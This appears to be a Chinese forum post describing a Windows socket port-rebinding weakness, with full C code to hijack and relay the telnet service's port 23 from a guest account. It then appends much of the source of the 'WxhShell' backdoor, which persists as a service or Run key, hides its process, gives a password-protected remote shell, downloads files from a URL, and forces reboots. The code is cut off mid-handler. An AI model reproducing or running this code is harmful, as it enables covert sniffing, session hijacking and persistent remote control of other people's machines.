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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7u%a/<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Md9l+[@  
CV^0.  
  saddr.sin_family = AF_INET; ]xq::a{Oy  
ko[TDh$T5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); cb+y9wA  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); z}5<$K_U  
HCc`  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 EODB`$+  
8$ DwpJ  
  这意味着什么?意味着可以进行如下的攻击: *caLN,G  
M'u=H  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 CX+9R3pa  
g3rRhS  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ltEF:{mLe#  
{'IFWD.5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Yn 1?#%%  
VN|G5*  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Pf8u/?/  
}'`xu9<  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :HZ;Po   
_'c+fG \  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 7zI5PGWw  
V<-htV  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 * -z4<LAa  
94z8B;+ H]  
  #include ^gm>!-Gx  
  #include A7'bNd6f9  
  #include 3i(Jon/p  
  #include    uu3M{*}  
  DWORD WINAPI ClientThread(LPVOID lpParam);   _<u;4RO(s  
  int main() >-<F)  
  { Yq0# #__  
  WORD wVersionRequested; $xcv>  
  DWORD ret; !QTPWA  
  WSADATA wsaData; oWD)+5. ]  
  BOOL val; 7)PJ:4IqS  
  SOCKADDR_IN saddr; DyX0 xx^  
  SOCKADDR_IN scaddr; @ KJV1t`  
  int err; YKq0f=Ij  
  SOCKET s; L1MrrC  
  SOCKET sc; 7:kCb[ji"  
  int caddsize; ;Vo mFp L  
  HANDLE mt; ;.0LRWcJ  
  DWORD tid;   `e*61k5  
  wVersionRequested = MAKEWORD( 2, 2 ); [0op)Kn  
  err = WSAStartup( wVersionRequested, &wsaData ); a 2Et,WA%  
  if ( err != 0 ) { JjDS"hK#  
  printf("error!WSAStartup failed!\n"); Gt'/D>FE0  
  return -1; U9F6d!:L7A  
  } qL>v&Rd<  
  saddr.sin_family = AF_INET; ' fl(N2t  
   -$ali[  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ! OfO:L7-  
paYz[Xq  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Bt6xV<jD  
  saddr.sin_port = htons(23); \P?--AI q<  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~ a >S#S  
  { dgY5ccP  
  printf("error!socket failed!\n"); ecT]p  
  return -1; HqRCjD  
  } 0lf"w@/  
  val = TRUE; /1N)d?Pcl  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +Z$a1 Y@  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) cE 2Rr  
  { x Zg7Jg  
  printf("error!setsockopt failed!\n"); "MTq{f2?  
  return -1; C,3T!\  
  } #8&#E?^d  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Hi7G/2t@`  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8'% +G  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "Y(%oJS]D  
m>O2t-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ZZwBOGVU  
  { T"B8;|  
  ret=GetLastError(); g6`.qyVfz'  
  printf("error!bind failed!\n"); bx]1 4}6  
  return -1; \aB&{`iG  
  } VHj*aBHB  
  listen(s,2); kw;wlFU;  
  while(1) +ruj  
  { v<`$bvv?  
  caddsize = sizeof(scaddr); Pd,!&  
  //接受连接请求 ^Wk0*.wg  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); R1~7F{FW  
  if(sc!=INVALID_SOCKET) BMF3XcH~G  
  { m9k2h1  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); pdy+h{]3  
  if(mt==NULL) eoJFh  
  { }R\B.2#M_@  
  printf("Thread Creat Failed!\n"); <@%ma2  
  break; #e*$2+`[A  
  } 8W{ g  
  } gi '^qi2  
  CloseHandle(mt); W >Kp\tD  
  } s7AI:Zv  
  closesocket(s); nT)~w s  
  WSACleanup(); BHIM'24bp  
  return 0; l2r>|CGQ[  
  }   vevx|<9,  
  DWORD WINAPI ClientThread(LPVOID lpParam) ?SB5b,  
  { '2j~WUEmg  
  SOCKET ss = (SOCKET)lpParam; sgR 9d  
  SOCKET sc; zEAx:6`c  
  unsigned char buf[4096]; : qr} M  
  SOCKADDR_IN saddr; @!Y.935/0  
  long num; sAf9rZt*'  
  DWORD val; ]KzJ u`O%G  
  DWORD ret; `dP? 2-Z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 NCp%sGBmG  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   x9 TuweG  
  saddr.sin_family = AF_INET; cFe V?a  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^75pV%<%  
  saddr.sin_port = htons(23); .!9Vt#  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C?bXrG\  
  { m2wp m_vV#  
  printf("error!socket failed!\n"); 5N Fq7&rJ6  
  return -1; '\4c "Ho  
  } n2H&t>N  
  val = 100; ;k-g _{M  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }D(DU5r  
  { uTxX`vH@!  
  ret = GetLastError(); s-fKh`  
  return -1; PZ~`O  
  } 9j9Y Q2  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5X#i65_-  
  { 7ucx6J]c  
  ret = GetLastError(); g521Wdtnn  
  return -1; 1fmSk$ y.9  
  } .Ydr[  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @<0h"i x  
  { $HP/c Ku  
  printf("error!socket connect failed!\n"); #vnefIcBf  
  closesocket(sc); Z^6A_:]j  
  closesocket(ss); f;&` 9s| 1  
  return -1; Au~+Zz|mQ  
  } A3m{jbh  
  while(1) r{bgTG  
  {  ?L`MFR  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 PV5-^Y"v  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &II JKn|_  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 j0Id!o  
  num = recv(ss,buf,4096,0); S5zpUF=  
  if(num>0) CD*f4I#d  
  send(sc,buf,num,0); tj`tLYOZ@-  
  else if(num==0) ]:[)KZ~  
  break; 9<+;hH8J_r  
  num = recv(sc,buf,4096,0); Cij$GYkv  
  if(num>0) gNG0k$nP  
  send(ss,buf,num,0); vsOdp:Yp9!  
  else if(num==0) eV@4VxaZ  
  break; kq-mr  
  } g| _HcaW  
  closesocket(ss); z0EjIYI[N  
  closesocket(sc); #p']-No  
  return 0 ; L{4),65  
  } f$~ _FX  
{ILp[ &sL  
V.O<|tl.  
========================================================== "it`X B.  
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下边附上一个代码,,WXhSHELL *##QXyyg  
*C[4 (DmB  
========================================================== ez{P-qB  
Lg\8NtP   
#include "stdafx.h" Gsx^j?  
>eYU$/80  
#include <stdio.h> U^vUdM"  
#include <string.h> tg4LE?nv  
#include <windows.h> V'Sd[*  
#include <winsock2.h> t ?pIE cl  
#include <winsvc.h> B<vvsp\X  
#include <urlmon.h> R!:eYoQ  
OqAh4qa,$  
#pragma comment (lib, "Ws2_32.lib") m70`{-O  
#pragma comment (lib, "urlmon.lib") s{x*~M$vt  
cij]&$;Q  
#define MAX_USER   100 // 最大客户端连接数 K|P9uHD  
#define BUF_SOCK   200 // sock buffer uK+9gTv  
#define KEY_BUFF   255 // 输入 buffer iX0]g45o  
}z9I`6[  
#define REBOOT     0   // 重启 a>;3 j  
#define SHUTDOWN   1   // 关机 +xoyKP!  
\}]=?}(  
#define DEF_PORT   5000 // 监听端口 2tg/S=t}  
GqmDDL1  
#define REG_LEN     16   // 注册表键长度 <-Kb@V3  
#define SVC_LEN     80   // NT服务名长度 D;1 6}D  
p 02nd.R6  
// 从dll定义API SXT@& @E  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UBUB/N Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^VM"!O;h{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P>yG/:W;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s= -WB0E  
i} NkHEK  
// wxhshell配置信息 E< io^  
struct WSCFG { Mo:!jS~a(Z  
  int ws_port;         // 监听端口 |IyM"UH  
  char ws_passstr[REG_LEN]; // 口令 Q{ |+ 3!!'  
  int ws_autoins;       // 安装标记, 1=yes 0=no -$sl!%HO%  
  char ws_regname[REG_LEN]; // 注册表键名 e{q p!N1!  
  char ws_svcname[REG_LEN]; // 服务名 +j)-L \  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2fHIk57jP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !9ceCnwbNN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 IL8'{<lM  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i"2J5LLv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @M1yBN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &CxyP_  
2Q`PUXj  
}; y4)ZUv,}  
DRKc&F6Qy  
// default Wxhshell configuration =Ov;'MC  
struct WSCFG wscfg={DEF_PORT, o}r!qL0c  
    "xuhuanlingzhe", ~x +:44*  
    1, eE#81]'6a  
    "Wxhshell", cAsSN.HFS  
    "Wxhshell", x0AqhT5}  
            "WxhShell Service", O|^6UH  
    "Wrsky Windows CmdShell Service", 4X(1   
    "Please Input Your Password: ", 'aSZ!R  
  1, @vQ;>4i.  
  "http://www.wrsky.com/wxhshell.exe", wt_?B_nR  
  "Wxhshell.exe" nkr,  
    }; ~]6Oz;~<3  
0IT20.~  
// 消息定义模块 fmZzBZ_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q9x` Uy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; MZ|c7f&`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jiw`i  
char *msg_ws_ext="\n\rExit."; R"8})a gw  
char *msg_ws_end="\n\rQuit."; ^,ZvKA"}+/  
char *msg_ws_boot="\n\rReboot..."; ya*q;D  
char *msg_ws_poff="\n\rShutdown..."; btB(n<G2#  
char *msg_ws_down="\n\rSave to "; .H[Lo>  
Ue>A  
char *msg_ws_err="\n\rErr!"; g[D,\  
char *msg_ws_ok="\n\rOK!"; VQG  /g\  
e5"-4udCn  
char ExeFile[MAX_PATH]; 7y)|^4X2  
int nUser = 0; q)z1</B-  
HANDLE handles[MAX_USER]; x9{Sl[2&  
int OsIsNt; JUaKj@a|  
r,Y/4(.c7U  
SERVICE_STATUS       serviceStatus; +^]PBMM1w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; T^=Ee?e  
%;"B;~  
// 函数声明 s6eq?1l 3  
int Install(void); nHhD<a!  
int Uninstall(void); RL]lt0O{  
int DownloadFile(char *sURL, SOCKET wsh); Fm[?@Z&wP  
int Boot(int flag); Vqv2F @.  
void HideProc(void); E%J7jA4  
int GetOsVer(void); {ZBb. $}RC  
int Wxhshell(SOCKET wsl); u=ds]XP@  
void TalkWithClient(void *cs); +~pc% 3*  
int CmdShell(SOCKET sock); rTH[?mkf4  
int StartFromService(void); ?XTg%U  
int StartWxhshell(LPSTR lpCmdLine); MRl*r K  
/S=;DxZ,r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ig?.*j ]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); NdED8 iRc  
Jj^<:t5{rN  
// 数据结构和表定义 4{;8 ]/.a  
SERVICE_TABLE_ENTRY DispatchTable[] = H$qdU!c  
{ DT7-v4Zd  
{wscfg.ws_svcname, NTServiceMain}, T$8$9D_u  
{NULL, NULL} mG8  
};  qzU2H  
37M[9m|D*  
// 自我安装 M@LaD 5  
int Install(void) KSpC%_LC  
{ :0TSOT9.  
  char svExeFile[MAX_PATH]; o"+ &^  
  HKEY key; WY. \<$7  
  strcpy(svExeFile,ExeFile); OD@@O9  
{/|8g(  
// 如果是win9x系统,修改注册表设为自启动 % &Q7;?  
if(!OsIsNt) { DHujpZXQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X-2S*L'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *IO;`k q,;  
  RegCloseKey(key); k @/SeE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Wp9 2sm+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |yl0}. ()  
  RegCloseKey(key); 3vGaT4TDx  
  return 0; U*+!w@ .  
    } Zn*CJNB  
  } ,aj+mlZd2  
} %>z8:oJ  
else { yfw>y=/p  
RT+30Q?  
// 如果是NT以上系统,安装为系统服务 hK9oe%kU~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }zfLm` vJ  
if (schSCManager!=0) yOCcp+`T}  
{ J/&*OC  
  SC_HANDLE schService = CreateService pfn#~gC_=  
  ( =x.v*W]F`  
  schSCManager, XGup,7e9  
  wscfg.ws_svcname, 0|+hm^'_  
  wscfg.ws_svcdisp, BO\`m%8md  
  SERVICE_ALL_ACCESS, OaCj3d>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DSG +TA"  
  SERVICE_AUTO_START, O |I:[S},  
  SERVICE_ERROR_NORMAL, m&jt[   
  svExeFile, q ]R @:a/  
  NULL, 17[t_T&Ak9  
  NULL, M0IqQM57N  
  NULL, >fzzrD}]  
  NULL, kFZu/HRI  
  NULL AYQh=$)(  
  ); CH_Dat >  
  if (schService!=0) ZtK%b+MBP  
  { p2f WL  
  CloseServiceHandle(schService); =`.5b:e  
  CloseServiceHandle(schSCManager); $=g.-F% *=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rxK[CDM,  
  strcat(svExeFile,wscfg.ws_svcname); d~f0]O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <IkD=X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rpP+20v  
  RegCloseKey(key); YHv,Z|.w  
  return 0; 0~L 8yMM  
    } U!UX"r  
  } qx CL  
  CloseServiceHandle(schSCManager); w#bbm'j7r  
} .1q~,}toX  
} 3/|{>7]1  
DBrzw+;e3  
return 1; &l}xBQAL  
} S$_Ts1Ge6  
D2*Q1n  
// 自我卸载 =d4',[O  
int Uninstall(void) }6{)Jv  
{ .$}zw|,q  
  HKEY key; FZ.Yn   
!rmo*-=^=  
if(!OsIsNt) { K~~*M?.Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bzL;)H4Eo  
  RegDeleteValue(key,wscfg.ws_regname); `0vy+T5  
  RegCloseKey(key); K dQ|$t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;%.k}R%O@  
  RegDeleteValue(key,wscfg.ws_regname); 6!PX! UkF  
  RegCloseKey(key); bIl0rx[`  
  return 0; Gg,k  
  } T`0gtSS  
} *E q7r>[  
} 3K] 0sr  
else {  G/;aZ  
zgOwSg8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .xQ'^P_q  
if (schSCManager!=0) M@ZpgAfq  
{ E0%Y%PQ**{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jl%e O.  
  if (schService!=0) ?BZ`mrH^  
  { X1QZEl  
  if(DeleteService(schService)!=0) { $W]guG  
  CloseServiceHandle(schService); 48*pKbbM4  
  CloseServiceHandle(schSCManager); *1]k&#s  
  return 0; _[Wrd?Z  
  } [*E.G~IS`  
  CloseServiceHandle(schService); wbKBwI5w  
  } DMpd(ws  
  CloseServiceHandle(schSCManager); C^v -&*v  
} _; RD-kv  
} N28?JQha  
`D4'`Or-U  
return 1; mP+yjRw  
} on&=%tCAL  
*wyLX9{:  
// 从指定url下载文件 6? ly. h$  
int DownloadFile(char *sURL, SOCKET wsh) #EK8Qe_  
{ Mp}NUQHE  
  HRESULT hr; Fd.d(  
char seps[]= "/"; PS;*N 8  
char *token; dV*rnpN  
char *file; 3sIM7WD?  
char myURL[MAX_PATH]; jJC( (1|  
char myFILE[MAX_PATH]; JT_B@TO\  
$d[:4h~  
strcpy(myURL,sURL); lD=j/    
  token=strtok(myURL,seps); `r$WInsDu  
  while(token!=NULL) UoT}m^ G  
  { @a3v[}c*  
    file=token; SytDo (_=W  
  token=strtok(NULL,seps); &Y2P!\\2  
  } ,B>b9,~3a  
-%$ dFq  
GetCurrentDirectory(MAX_PATH,myFILE); OvG|=  
strcat(myFILE, "\\"); wA&)y>n-  
strcat(myFILE, file); iFchD\E*o  
  send(wsh,myFILE,strlen(myFILE),0); UHHKI)(  
send(wsh,"...",3,0); k}qiIMdI  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hvZR4|k>  
  if(hr==S_OK) CUcjJ|MZ  
return 0; mQuaO# I,  
else @y&,e,3!  
return 1; X}^gmu<Vla  
xM,(|p(  
} ;g9:0,xT4  
8Y'"=!3  
// 系统电源模块 cYS+XBz  
int Boot(int flag) eR;0pWVl  
{ ?MB nnyo6  
  HANDLE hToken; sUMn (@r  
  TOKEN_PRIVILEGES tkp; ~]+  jn  
e:occT  
  if(OsIsNt) { &cE,9o%FZ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); a}hM}U!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {627*6,  
    tkp.PrivilegeCount = 1; jo#F&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _3>zi.J/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &$im^0`r_  
if(flag==REBOOT) { yt,;^o^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fdHxrH >*  
  return 0; y5h[^K3  
} *&MkkI#  
else { d69VgLg  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) W<l(C!{  
  return 0; 54%}JA][  
} JFdzA  
  } [)u{-  
  else { :E*U*#h/  
if(flag==REBOOT) { IBsn>*ja<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z_+No :F7I  
  return 0; `^{P,N>X  
} CgE5;O  
else { zf u78  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *?Y6qalSy  
  return 0; 7^5BnF@  
} ;O>fy :$'  
} 5,Zn$zosJC  
X:/t>0e  
return 1; P2F>iK#U  
} G$<0_0GF  
Y.#+Yh[  
// win9x进程隐藏模块 H:6$) #  
void HideProc(void) 0k [6  
{ nsk 6a  
R0'EoX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?>&Zm$5V  
  if ( hKernel != NULL ) s6uAF(4,  
  { t68RWzqiG[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); TaG-^bX8B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H skN(Ho  
    FreeLibrary(hKernel); eRbO Hj1  
  } k*^W lCZ3  
# w6CL  
return; "-%H</  
} v^'~-^s  
iSHl_/I<  
// 获取操作系统版本 nrBitu,  
int GetOsVer(void) <X*8Xzmv  
{ :DJ@HY  
  OSVERSIONINFO winfo; w4a7c  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5;Xrf=  
  GetVersionEx(&winfo); ;"z>p25=T  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9v0|lS!-  
  return 1; Nig-D>OS  
  else F)Lbr>H?I  
  return 0;  sd%~pY}  
} /G;yxdb  
>Z% `&D~u  
// 客户端句柄模块 Y2n*T KXI,  
int Wxhshell(SOCKET wsl) M='Kjc>e  
{ p6'8l~W+  
  SOCKET wsh; v'tk: Hm1  
  struct sockaddr_in client; *2F }e4v  
  DWORD myID; zdE^v{}|  
/+msrrpD  
  while(nUser<MAX_USER) X Rn=;gK%J  
{ 6Y^o8R  
  int nSize=sizeof(client); {J$aA6t:"T  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $!Tw`O  
  if(wsh==INVALID_SOCKET) return 1; @@jdF-Utj;  
`Fj(g!`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1S.~-K*X  
if(handles[nUser]==0) ':3KZ4/C  
  closesocket(wsh); FQ%mNowuj  
else 5FxU=M1gF  
  nUser++; >.|gmo>b  
  }  ~A/_\-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); LNkyV*TI  
nmr>Aj8[  
  return 0; /&yT2p  
} 'S" F=)*-  
}|,y`ui\  
// 关闭 socket "T|\  
void CloseIt(SOCKET wsh) ;H lv  
{ Cx[4 /~_<  
closesocket(wsh); iq$/ 6!t  
nUser--; /eQn$ZRP,  
ExitThread(0); %L3]l  
} Pp2 )P7  
N;Bal/kd2  
// 客户端请求句柄 'Nh^SbD+_|  
void TalkWithClient(void *cs) *rLs!/[Z_  
{ Bh?;\D'YC  
,ME9<3Ac  
  SOCKET wsh=(SOCKET)cs; *C\O] r:'  
  char pwd[SVC_LEN]; }kpkHq"`f  
  char cmd[KEY_BUFF]; &^.'g{\Y  
char chr[1]; g5)VV"  
int i,j; iweP3u##  
7 <xxOY>y  
  while (nUser < MAX_USER) { &,zeBFmc  
\!r^6'A   
if(wscfg.ws_passstr) { |w DCIHzQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ju<D7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !r<7]nwV  
  //ZeroMemory(pwd,KEY_BUFF); lK-I[i!  
      i=0; PO&`r r  
  while(i<SVC_LEN) { f@0`,  
c,@6MeKHq  
  // 设置超时 v,;?+Ck  
  fd_set FdRead; duI8^&|  
  struct timeval TimeOut; \cG'3\GI  
  FD_ZERO(&FdRead); \1Zf Sc  
  FD_SET(wsh,&FdRead); qb Q> z+c  
  TimeOut.tv_sec=8; )n.peZ  
  TimeOut.tv_usec=0; P]n ' q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o#i {/# oF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =u(fP" |{  
yFSL7`p+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^|Y!NHYH$Z  
  pwd=chr[0]; -LyIu#  
  if(chr[0]==0xd || chr[0]==0xa) { z?PF9QL1  
  pwd=0; B !XT:.+  
  break; }49?Z3  
  } uyj5}F+O  
  i++; ;c`B '  
    } b7-a0zaN  
)l=j,4nn  
  // 如果是非法用户,关闭 socket -8Ii QRS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v,jU9D \  
} J ?&9ofj&  
r$KDNa$/a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y ;;@T X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :9<5GF(  
L-XTIL$$  
while(1) { S'txY\  
R`c5-0A  
  ZeroMemory(cmd,KEY_BUFF); 4T:ZEvdzf  
4Xz|HU?  
      // 自动支持客户端 telnet标准   <*[(t;i  
  j=0; %X3T<3<  
  while(j<KEY_BUFF) { D<MtLwH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &b_duWs  
  cmd[j]=chr[0]; "k.<"pf  
  if(chr[0]==0xa || chr[0]==0xd) { jzQgD ed ]  
  cmd[j]=0; 1n^xVk-G  
  break; ~L2Fo~fw  
  } `6zoZM7?Y  
  j++; SC#  
    } Vh&uSi1V  
99`xY$  
  // 下载文件 c0@v`-9  
  if(strstr(cmd,"http://")) { 344- ~i*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Px<;-H`  
  if(DownloadFile(cmd,wsh)) %\A~w3E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ek9%Xk8  
  else e.N#+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BsJClKp/  
  } uZfo[_g0S  
  else { j0J6ySlY  
8 =d9*lm  
    switch(cmd[0]) { \|Mz'*  
  di|l?l^l  
  // 帮助 Cd4G&(=  
  case '?': { B#=dz,}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rB4]TQ`c  
    break; G]{)yZ'}  
  } 7j^,4;  
  // 安装 .m .v$(  
  case 'i': { ' `S,d[~  
    if(Install()) ^Oo%`(D?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qg_=5s  
    else ujaaO6oZ7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {J[0UZ6  
    break; k{; 2*6b0  
    } V[~/sc )  
  // 卸载 Lr`yl$6  
  case 'r': { (uSfr]89'  
    if(Uninstall()) S;Vj5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3oh(d. Z  
    else um/iK}O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &W1cc#(  
    break; r'&VH]m  
    } ;X8eZQ  
  // 显示 wxhshell 所在路径 $(BW |Pc  
  case 'p': { p &A3l  
    char svExeFile[MAX_PATH]; [L:,A{rve  
    strcpy(svExeFile,"\n\r"); 0L'h5i>H)  
      strcat(svExeFile,ExeFile); V[#jrwhA  
        send(wsh,svExeFile,strlen(svExeFile),0); 7a2 uNt,X  
    break; D_g+O"];P  
    } s q_ f[!  
  // 重启 OF}vY0oiw?  
  case 'b': { Au9Rr3n  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); aPRF  
    if(Boot(REBOOT)) d+8Sypv^4*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zhS\|tI  
    else { n;[d{bU  
    closesocket(wsh); 06ZyR@.@v  
    ExitThread(0); uT_bA0jK  
    } lwSA!W  
    break; k/>k&^?  
    } Z<`QDBN"4  
  // 关机 Esd A %`  
  case 'd': { d4~!d>{n|c  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZjWI~"]  
